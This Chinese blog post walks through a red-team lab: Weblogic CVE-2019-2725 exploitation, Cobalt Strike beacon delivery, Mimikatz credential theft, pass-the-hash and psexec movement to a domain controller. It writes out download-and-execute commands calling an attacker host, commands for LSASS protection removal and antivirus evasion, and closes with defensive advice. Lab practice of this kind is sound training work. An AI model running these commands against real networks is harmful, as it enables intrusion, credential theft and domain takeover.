红队实战:基于ATT&CK框架的Cobalt Strike内网渗透全流程解析

1. 项目概述与核心思路

最近在复盘红队实战案例时,我重新搭建并演练了那个经典的“ATT&CK红队靶场二”。这个靶场之所以经典,是因为它几乎囊括了一次完整的内网渗透攻击链:从外网Weblogic漏洞的初始突破,到内网信息收集,再到利用凭证和协议漏洞进行横向移动,最终拿下域控。整个过程就像一次标准化的“外科手术式”攻击,非常适合用来检验和巩固红队技术栈。很多朋友在接触Cobalt Strike这类高级工具时,往往停留在基础功能的使用,对于如何将其与具体的漏洞利用、内网渗透技术深度结合,缺乏一个连贯的实战视角。这次,我就以这个靶场为蓝本,结合Cobalt Strike,带大家走一遍从“靶场”到“实战思维”的完整流程。

这个靶场的核心价值在于它的“仿真性”。它模拟了一个典型的企业网络环境:一个对外提供服务的DMZ区(部署了存在漏洞的Weblogic服务器),以及一个隔离的内网区域(包含域控、应用服务器和普通终端)。攻击者需要像真正的入侵者一样,从一个点(Weblogic漏洞)切入,逐步扩大战果。整个过程涉及的关键技术点非常密集:Weblogic反序列化漏洞的利用、Cobalt Strike Beacon的投递与上线、内网主机发现、凭据窃取(Mimikatz)、哈希传递(Pass-the-Hash)、以及利用SMB等协议进行横向移动。通过复现这个靶场,你不仅能熟悉工具链,更能深刻理解ATT&CK框架中“初始访问”、“执行”、“持久化”、“凭证访问”、“横向移动”等战术阶段是如何在实战中串联起来的。

2. 靶场环境拓扑与攻击路径设计

2.1 网络拓扑深度解析

在动手之前,我们必须像建筑师看蓝图一样,彻底理解靶场的网络结构。这决定了我们每一步攻击的跳板选择和流量走向。

靶场采用了经典的双网段架构,清晰地划分了安全边界:

  • 攻击机 (Kali Linux) : IP: 192.168.111.1 。这是我们操作的起点,位于模拟的“互联网”或测试网络。它只能直接访问DMZ网段。
  • DMZ区 (192.168.111.0/24) : 模拟企业对外服务区。
    • Web服务器 (WEB) : 双网卡主机。
      • 网卡1 (DMZ): 192.168.111.80 。对外提供Weblogic服务,是我们初始攻击的入口。
      • 网卡2 (内网): 10.10.10.80 。连接内网,在攻破后成为我们进入内网的“桥头堡”。
  • 内网区 (10.10.10.0/24) : 模拟企业核心网络,与DMZ隔离。
    • 域控制器 (DC) : 10.10.10.10 。终极目标,控制了它就等于控制了整个域。
    • 客户端PC : 10.10.10.201 。内网中的一台普通办公终端,通常存储着有价值的用户凭据或数据。

关键点理解 :这种双网卡Web服务器的设计非常真实。很多企业会将数据库或内部服务放在内网,Web前端放在DMZ。一旦攻破Web服务器,它就成为了一个绝佳的“跳板”,因为它本身就具有通往内网的通道。我们的攻击路径很明确: 攻击机 -> WEB(192.168.111.80) -> WEB(10.10.10.80) -> 内网其他主机(10.10.10.0/24)

2.2 基于ATT&CK框架的攻击链规划

我们不能盲目操作,每一步都应有其战术目的。结合ATT&CK框架,本次演练的核心攻击链可以规划如下:

  1. 侦察 (Reconnaissance) : 对 192.168.111.80 进行端口扫描、服务识别、目录探测。
  2. 资源开发 (Resource Development) : 准备漏洞利用载荷(例如针对CVE-2019-2725的EXP),生成Cobalt Strike的Beacon木马。
  3. 初始访问 (Initial Access) : 利用Weblogic反序列化漏洞(如CVE-2019-2725),在目标服务器上执行命令,下载并运行Beacon,建立初始立足点。
  4. 执行 (Execution) : Beacon在目标服务器上成功执行,我们获得了一个交互式会话。
  5. 持久化 (Persistence) : 在WEB服务器上建立持久化后门(如服务、计划任务),确保即使重启也能维持访问。
  6. 权限提升 (Privilege Escalation) : 在WEB服务器本地进行提权,获取SYSTEM或管理员权限,以便进行后续的凭据窃取。
  7. 凭证访问 (Credential Access) : 使用Mimikatz或Cobalt Strike内置的 hashdump logonpasswords 命令,从WEB服务器内存中转储哈希值和明文密码。
  8. 发现 (Discovery) : 从WEB服务器内网网卡( 10.10.10.80 )出发,进行内网主机发现( net view arp -a )、端口扫描,绘制内网地图。
  9. 横向移动 (Lateral Movement) : 利用获取的凭证(哈希传递/PTH),通过 psexec wmi smbexec 等方式,横向移动到内网的其他主机(如PC 10.10.10.201 )。
  10. 目标影响 (Impact) : 最终横向移动到域控制器( 10.10.10.10 ),获取域控权限,完成对整个域的控制。

这个链条环环相扣,下一步的行动往往依赖于上一步的成果。下面,我们就进入具体的实操环节。

3. 初始突破:Weblogic漏洞利用与Beacon上线

3.1 信息收集与漏洞定位

攻击始于侦察。我们首先需要确认目标并找到薄弱点。

# 1. 主机存活探测 (判断80主机是否在线)
ping -c 2 192.168.111.80

# 2. 端口扫描与服务识别 (使用nmap,-sV尝试识别版本)
nmap -sS -sV -p- 192.168.111.80 -T4

# 3. 针对Weblogic常见管理端口进行详细扫描
nmap -sS -sV -p 7001,7002,9001 192.168.111.80

扫描结果很可能会显示 7001 端口开放,服务标识为 Oracle Weblogic admin httpd 。这初步确认了目标。

接下来,使用 dirsearch gobuster 进行目录扫描,寻找管理后台或暴露的接口:

dirsearch -u http://192.168.111.80:7001 -e * -x 403,404

可能会发现类似 /console /wls-wsat 等路径。 /wls-wsat 正是CVE-2019-2725等漏洞常出现的端点。

为了更精确地识别漏洞,我们可以使用专门的扫描器,如 WeblogicScan Xray 等。这里假设我们通过扫描或已知信息,确认目标存在 CVE-2019-2725 漏洞。这个漏洞存在于Weblogic的 wls9_async_response 组件中,允许未经认证的攻击者通过发送精心构造的HTTP请求,在服务器上执行任意命令。

3.2 利用漏洞投递Cobalt Strike Beacon

单纯的命令执行是不够的,我们需要一个稳定、功能强大的控制通道。Cobalt Strike的Beacon是理想选择。

第一步:在Cobalt Strike Team Server上创建监听器(Listener)。

  1. 打开Cobalt Strike -> Cobalt Strike -> Listeners
  2. 点击 Add ,类型选择 HTTP HTTPS (根据目标环境,HTTP更通用)。
  3. 设置好 Name (如 http_80 )、 Payload (默认为 Beacon HTTP )、 HTTP Hosts (你的Team Server IP)和 HTTP Port (如80)。 HTTP Host (Stager) 可以设置为指向Team Server的域名或IP。

第二步:生成攻击载荷(Payload)。

  1. 在Cobalt Strike中,点击 Attacks -> Packages -> Windows Executable (S) 。这里选择 Stageless 版本,因为它包含所有功能,更适合内网环境。
  2. Listener 选择刚才创建的 http_80
  3. 点击 Generate ,保存为 beacon.exe

第三步:准备漏洞利用脚本。 我们需要一个能利用CVE-2019-2725执行命令的EXP。这类EXP通常是一个Python脚本,核心功能是向 /wls-wsat/CoordinatorPortType 端点发送一个包含恶意XML序列化数据的SOAP请求,其中封装了要执行的命令。

我们的目标不是执行简单的 whoami ,而是让目标服务器从我们的HTTP服务器下载 beacon.exe 并执行。因此,我们需要一个能托管文件的Web服务器。

# 在攻击机上启动一个简单的HTTP服务器,端口8080
python3 -m http.server 8080
# 将生成的beacon.exe放在当前目录

第四步:构造利用命令。 我们需要构造一个能实现“下载并执行”的命令。在Windows中,有几种方式:

  • certutil.exe -urlcache -split -f http://192.168.111.1:8080/beacon.exe C:\Windows\Temp\beacon.exe && C:\Windows\Temp\beacon.exe
  • powershell -c “IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.111.1:8080/beacon.exe’);” (需考虑执行策略和文件落地)
  • 更隐蔽的方式:使用 bitsadmin msiexec

这里我们选择第一种,简单直接。将完整的命令进行URL编码,然后替换到EXP脚本中对应的命令执行位置。

第五步:执行EXP。 运行修改好的Python EXP脚本:

python3 CVE-2019-2725_EXP.py http://192.168.111.80:7001 “cmd /c certutil -urlcache -split -f http://192.168.111.1:8080/beacon.exe C:\Windows\Temp\b.exe & C:\Windows\Temp\b.exe”

如果漏洞存在且利用成功,我们将在Cobalt Strike的 Beacons 界面看到一个新的会话上线,其外部IP是 192.168.111.80 ,内部IP可能是 10.10.10.80 (如果获取到了双网卡信息)。

实操心得 :在实际利用中,可能会遇到杀毒软件拦截 certutil 下载或执行。此时可以尝试:

  1. beacon.exe 进行混淆或加壳(Cobalt Strike本身提供多种编码器)。
  2. 使用 powershell DownloadFile 方法,并配合 -ExecutionPolicy Bypass
  3. 将载荷分段传输,或在内存中直接加载执行(无文件落地),这需要更高级的利用方式。

4. 立足内网:权限提升、信息收集与凭据窃取

4.1 权限提升与后门持久化

刚上线的Beacon会话可能只是一个普通用户权限(如 weblogic networkservice )。为了能抓取密码哈希、安装后门,我们需要提权到 SYSTEM

在Cobalt Strike中,提权非常方便:

  1. 右键点击上线的Beacon会话 -> Access -> Elevate
  2. 选择一个提权利用模块,例如 ms14-058 uac-dll (针对UAC绕过)。Cobalt Strike会根据目标系统版本自动推荐。点击 Launch
  3. 如果利用成功,会弹出一个新的 SYSTEM 权限的Beacon会话。

获得 SYSTEM 权限后,第一件事就是建立持久化,防止重启失联:

  1. SYSTEM 会话上,右键 -> Explore -> Persistence
  2. 可以选择多种方式,如 Windows Service (创建服务)、 Scheduled Task (计划任务)。服务方式更隐蔽稳定。
  3. 设置好服务名、描述、监听器,点击 Install 。这样即使服务器重启,我们的Beacon也会自动重新上线。

4.2 内网信息收集

现在,我们以WEB服务器( 10.10.10.80 )为跳板,开始探索内网。

在Beacon的交互式命令行中,执行以下基础命令:

# 查看当前用户和权限
whoami /all
# 查看网络配置(找到内网网段和网关)
ipconfig /all
# 查看系统信息
systeminfo
# 查看进程列表
ps
# 查看当前域和工作组信息
net config workstation
# 查看域内计算机列表(如果已加入域)
net group “domain computers” /domain
# 如果未加域,使用net view查看同一网段的主机
net view
# 查看ARP缓存,发现内网活跃主机
arp -a

通过这些命令,我们可以确认内网网段是 10.10.10.0/24 ,并可能发现 10.10.10.10 (DC) 和 10.10.10.201 (PC) 这两台主机。

4.3 使用Mimikatz窃取凭据

这是内网横向移动的“弹药库”。Cobalt Strike内置了Mimikatz功能。

SYSTEM 权限的Beacon中,输入命令:

mimikatz !sekurlsa::logonpasswords

或者使用内置命令(效果相同):

logonpasswords

命令执行后,Cobalt Strike会输出当前机器内存中所有登录会话的凭据信息,包括 明文密码 NTLM哈希 。这是最激动人心的时刻之一。你可能会看到类似下面的输出:

……
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : ADMINISTRATOR
Domain            : DE1AY
Logon Server      : DC
Logon Time        : 2023/10/27 8:00:00
SID               : S-1-5-21-...
        msv :
         [00000003] Primary
         * Username : ADMINISTRATOR
         * Domain   : DE1AY
         * NTLM     : 7a21990fcd3d759941e45c490f143d5f
         * SHA1     : ...
        tspkg :
        wdigest :
         * Username : ADMINISTRATOR
         * Domain   : DE1AY
         * Password : 1qaz@WSX
        kerberos :
         * Username : administrator
         * Domain   : DE1AY.COM
         * Password : 1qaz@WSX
……

我们成功抓取到了域管理员 ADMINISTRATOR 的明文密码 1qaz@WSX 和NTLM哈希 7a21990fcd3d759941e45c490f143d5f 。这张“通行证”为我们打开了通往域内几乎所有主机的大门。

注意事项 mimikatz sekurlsa 模块需要 SYSTEM 权限。如果抓取失败,可能是由于系统保护(如受保护的进程、Credential Guard)或杀软拦截。可以尝试:

  1. 先使用 mimikatz !privilege::debug 尝试启用调试权限。
  2. 使用Cobalt Strike的 hashdump 命令直接读取SAM数据库中的本地用户哈希(但可能没有域用户哈希)。
  3. 尝试使用 mimikatz !lsadump::sam !lsadump::cache

5. 横向移动:哈希传递与内网拓展

有了域管理员凭据,横向移动就变得水到渠成。这里演示两种最常用的方式:哈希传递(PTH)和PsExec。

5.1 使用Cobalt Strike进行哈希传递(PTH)

哈希传递是内网横向的“神技”,它不需要明文密码,直接使用NTLM哈希进行身份验证。

  1. 添加凭证 :在Cobalt Strike中,点击 View -> Credentials 。将我们抓取到的域管理员哈希添加进去。用户填 DE1AY\ADMINISTRATOR ,密码处留空,在 Hash 栏填入 7a21990fcd3d759941e45c490f143d5f
  2. 扫描内网服务 :虽然我们知道主机IP,但最好确认一下开放端口。在Beacon中使用 portscan 命令:
    portscan 10.10.10.0/24 445,3389,135 arp 500
    
    这会扫描 10.10.10.0/24 网段的 445 (SMB)、 3389 (RDP)、 135 (WMI)端口。
  3. 横向移动 :右键点击我们的Beacon会话 -> Attack -> Pivoting -> Lateral Movement -> SMB Beacon
    • 但是,更直接的方式是使用 psexec psexec_psh (PowerShell版本)。右键点击Beacon -> Attack -> Pivoting -> Lateral Movement -> psexec
    • 在弹出的窗口中, Listener 选择我们之前创建的 http_80 (或其他适合内网的监听器)。
    • Target 输入我们想横向移动的目标主机,例如 10.10.10.201 (PC)或 10.10.10.10 (DC)。
    • Credentials 部分,勾选 Use a different user ,然后选择我们刚才添加的 DE1AY\ADMINISTRATOR 凭证。Cobalt Strike会自动使用其哈希进行验证。
    • 点击 Launch

如果目标主机的 445 端口开放,且防火墙允许连接,并且账户有足够的权限(域管理员通常有),Cobalt Strike就会通过SMB协议在目标主机上创建服务执行我们的Beacon,并建立一个新的会话。在新会话中执行 whoami ,应该显示为 de1ay\administrator

5.2 利用PsExec模块进行横向移动

除了图形化操作,也可以在Beacon命令行中直接使用 psexec 模块,这对于批量操作或编写自动化脚本非常有用。

# 在Beacon中使用psexec进行横向移动
psexec \\10.10.10.201 DE1AY\ADMINISTRATOR http_80
# 或者使用哈希
psexec \\10.10.10.201 DE1AY\ADMINISTRATOR http_80 -hashes :7a21990fcd3d759941e45c490f143d5f

参数解释: \\10.10.10.201 是目标主机, DE1AY\ADMINISTRATOR 是用户名, http_80 是监听器名称。

5.3 攻击域控制器

用同样的方法,我们可以直接攻击域控制器( 10.10.10.10 )。在Cobalt Strike中,使用 psexec 横向移动到DC。成功后,我们就获得了域控制器的最高权限。

在DC的Beacon会话中,可以执行最终的命令来宣告胜利:

# 获取域内所有用户列表
net user /domain
# 获取域管理员组列表
net group “domain admins” /domain
# 甚至可以尝试提取域内所有用户的哈希(NTDS.dit),但这需要更高权限和特定技术(如Volume Shadow Copy)

至此,我们已经完成了从外网突破到完全控制内网域环境的整个攻击链。

6. 防御视角与实战思考

复现攻击不是为了作恶,而是为了更有效地防御。走完整个流程,从防御者角度,我们能得到很多启示:

  1. 边界防护的局限性 :防火墙隔离了DMZ和内网,但一台双网卡的主机被攻破,就足以让这道防线形同虚设。必须强化主机自身安全,特别是对外服务的中间件。
  2. 漏洞管理的紧迫性 :像Weblogic CVE-2019-2725这样的历史高危漏洞,依然是攻击者最爱的入口。企业必须建立严格的漏洞扫描和补丁管理流程,尤其是对互联网暴露的资产。
  3. 凭据安全是生命线 :本次演练中,一旦获取到域管理员哈希,内网就全面沦陷。必须强制使用强密码、定期更换、并启用多因素认证(MFA)。对于服务账户,应使用组托管服务账户(gMSA)或受限制的凭据。
  4. 最小权限原则 :Weblogic服务账户不应具有域管理员权限,甚至不应有本地管理员权限。严格遵循最小权限原则,能有效限制攻击者横向移动的范围。
  5. 网络分段与微隔离 :仅仅划分DMZ和内网是不够的。内网应根据业务功能进一步细分,使用防火墙或软件定义网络(SDN)策略,严格控制东西向流量,例如,Web服务器只能访问特定的数据库端口,而不能随意访问其他办公终端。
  6. 加强检测与响应
    • 日志审计 :集中收集和分析Windows事件日志(如4688新进程创建、4624/4625登录事件、5140网络共享访问)、Weblogic访问日志、防火墙日志。异常时间点的 certutil 下载、 psexec 服务创建都是高可疑行为。
    • 终端检测与响应 :部署EDR产品,监控进程链(如 weblogic -> cmd -> certutil )、可疑的横向移动工具(如Mimikatz的内存特征、PsExec的网络连接)。
    • 网络流量分析 :检测异常的SMB连接(尤其是来自服务器到域控的)、Beacon的周期性心跳流量(C2通信)。

7. 常见问题与排查技巧实录

在实际复现过程中,你可能会遇到各种问题。这里记录一些常见坑点和解决思路:

问题1:Weblogic漏洞利用成功,但Beacon无法上线。

  • 可能原因 :目标服务器出站流量被防火墙拦截;Team Server的监听端口被占用或配置错误;杀软拦截了Beacon进程。
  • 排查
    • 在目标机上尝试执行 curl http://<你的TeamServer_IP>:80 ,看是否能访问。
    • 在Team Server上使用 netstat -antp | grep :80 确认监听正常。
    • 检查Cobalt Strike的 View -> Web Log ,看是否有来自目标的HTTP请求(可能是Stager请求)。
    • 尝试生成一个更简单的载荷(如 ping 命令回显)测试漏洞是否真的可执行。

问题2:Mimikatz抓不到明文密码或哈希。

  • 可能原因 :权限不足(非SYSTEM);系统启用了LSA保护( RunAsPPL )或Credential Guard;杀软实时监控。
  • 解决
    • 确保使用 Elevate 提权后的SYSTEM会话运行。
    • 尝试先执行 mimikatz !privilege::debug !processprotect /process:lsass.exe /remove 来尝试绕过保护(可能触发告警)。
    • 使用Cobalt Strike的 hashdump 命令尝试转储本地SAM哈希。
    • 考虑使用其他凭据获取技术,如DCSync攻击(需要域管理员权限)或从进程内存中搜索。

问题3:横向移动(psexec)失败,提示“登录失败”或“拒绝访问”。

  • 可能原因 :目标主机防火墙阻止了445端口;使用的凭据权限不足(例如,不是目标机器的本地管理员);目标系统禁用了SMB服务或Admin$共享;账户被锁定。
  • 排查
    • 在跳板机上用 telnet 10.10.10.201 445 测试端口连通性。
    • 使用 net use \\10.10.10.201\ipc$ /user:DE1AY\ADMINISTRATOR “password” 测试IPC$连接(如果知道明文密码)。
    • 尝试使用WMI ( wmi ) 或WinRM ( winrm ) 等其他横向移动方式。在Cobalt Strike中可以使用 jump 命令选择其他模块。
    • 确认使用的账户在目标机器上的本地管理员组中(对于域管理员,默认是)。

问题4:内网主机发现命令(net view)返回空或错误。

  • 可能原因 :当前用户权限不足;网络策略限制(如防火墙阻止了137-139端口);主机不在同一工作组。
  • 解决
    • 使用更底层的扫描工具,如上传 fscan nmap 到跳板机进行扫描。
    • 使用ARP扫描: arp-scan -l (Linux环境) 或在Windows Beacon中执行 for /l %i in (1,1,254) do @ping -n 1 -w 10 10.10.10.%i | findstr “TTL=”
    • 利用DNS查询或LDAP枚举(如果已加入域)来发现主机。

问题5:Cobalt Strike会话不稳定或突然中断。

  • 可能原因 :网络波动;Beacon进程被杀;跳板机重启;监听器配置问题。
  • 解决
    • 建立多个持久化后门(服务、计划任务、启动项)。
    • 使用 Stageless Beacon,稳定性优于 Stager
    • 考虑使用 DNS HTTPS 监听器,其流量特征更隐蔽,可能绕过基础检测。
    • 定期检查Beacon的 sleep 时间和 jitter 设置,过于规律的通信容易被发现。

通过这个靶场的完整复现,我们不仅串联了Weblogic漏洞利用、Cobalt Strike操作、内网渗透等一系列技术点,更重要的是建立了一种“攻击链”思维。在真实的红队评估或渗透测试中,环境远比靶场复杂,你会遇到各种WAF、EDR、网络设备、蜜罐的阻拦。但万变不离其宗,理解攻击的本质流程、熟练掌握核心工具、并具备灵活的绕过和适应能力,才是从“靶场”走向“实战”的关键。每一次踩坑和排错,都是宝贵的经验积累。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值